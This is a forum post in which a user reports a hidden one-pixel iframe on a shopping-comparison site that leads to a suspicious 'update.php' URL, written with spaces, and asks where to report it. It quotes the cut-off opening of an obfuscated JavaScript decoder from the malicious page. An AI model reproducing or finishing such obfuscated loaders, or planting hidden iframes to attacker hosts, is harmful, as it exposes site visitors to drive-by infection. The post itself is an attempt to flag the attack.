mostly due to thins being an old and slow machine but browsing to shop bot I found this funny script in the lines of


which changing to an alert shows that it's an 1 px iframe pointing to h t t p : / / dota-all-star. info/spl4/update.php

watching my taskmanager I see me Iexplore virtual memory go nuts :flowers: , way high.

after browsing to it an viewing the source there is a well obfuscated javascript being run.. :thumbsup: starts like this
function epcG7(BDYWZD1zTIK1){var x61lmfe73=0,f8FDFIkHWJNzJD=BDYWZD1zTIK1.length,EJBHWkn7xn=1024,p7QR9LYNZ,zJ6CcSCwfoW,gnWkb="",xPi9V9aeU024=x61lmfe73,JN3t1V7wBuS=x61lmfe73,hGgfsJMI2VoA7S=x61lmfe73,EThCA5E=Array(63,6,8,57,29,15,23,54,62,9,0,0,0,0,0,0,61,53,27,33,16,46,7,45,5,49,39,44,18,2,24,0,13,56,30,25,48,10,47,55,36,28,26,0,0,0,0,3,0,37,50,31,52,14,4,42,11,32,35,17,22,41,19,12,21,1,59,60,34,20,58,40,51,43,38);for(zJ6CcSCwfoW=Math.ceil(f8FDFIkHWJNzJD/EJBHWkn7xn);zJ6CcSCwfoW>x61lmfe73;zJ6CcSCwfoW--){for(p7QR9LYNZ=Math.min(f8FDFIkHWJNzJD,EJBHWkn7
if you'd like to see it all I can post it

now i'm wondering if anyone knows about this, has it done something, or just a site hijacking to shopbot, or perhaps where to report it.. I got no Idea.

?? Cheers
